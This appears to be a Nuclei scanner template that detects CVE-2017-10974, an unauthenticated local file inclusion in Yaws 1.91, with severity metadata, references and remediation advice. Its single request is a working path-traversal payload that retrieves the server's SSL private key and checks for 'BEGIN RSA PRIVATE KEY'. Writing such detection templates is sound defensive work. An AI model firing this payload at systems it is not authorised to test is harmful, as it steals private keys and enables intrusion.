Yaws 1.91 - Local File Inclusion

id: CVE-2017-10974

info:
  name: Yaws 1.91 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Yaws 1.91 allows unauthenticated local file inclusion via  /%5C../ submitted to port 8080.
  impact: |
    The vulnerability allows an attacker to include local files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Upgrade to a patched version of Yaws or apply the necessary security patches.
  reference:
    - https://www.exploit-db.com/exploits/42303
    - https://nvd.nist.gov/vuln/detail/CVE-2017-10974
    - http://hyp3rlinx.altervista.org/advisories/YAWS-WEB-SERVER-v1.91-UNAUTHENTICATED-REMOTE-FILE-DISCLOSURE.txt
    - https://www.exploit-db.com/exploits/42303/
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-10974
    cwe-id: CWE-22
    epss-score: 0.81028
    epss-percentile: 0.99582
    cpe: cpe:2.3:a:yaws:yaws:1.91:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: yaws
    product: yaws
  tags: cve,cve2017,edb,yaws,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/%5C../ssl/yaws-key.pem"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - '!contains(tolower(body), "<html")'

      - type: word
        words:
          - "BEGIN RSA PRIVATE KEY"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100d8dc0892bbcbad53fe818943544da409fda69aa603bee8e65321f3ddee9e2862022100b0184ee36ea3cf4778e60f87ff81560a22f9942e018ab628c1f415af18268261:922c64590222798bb761d5b6d8e72950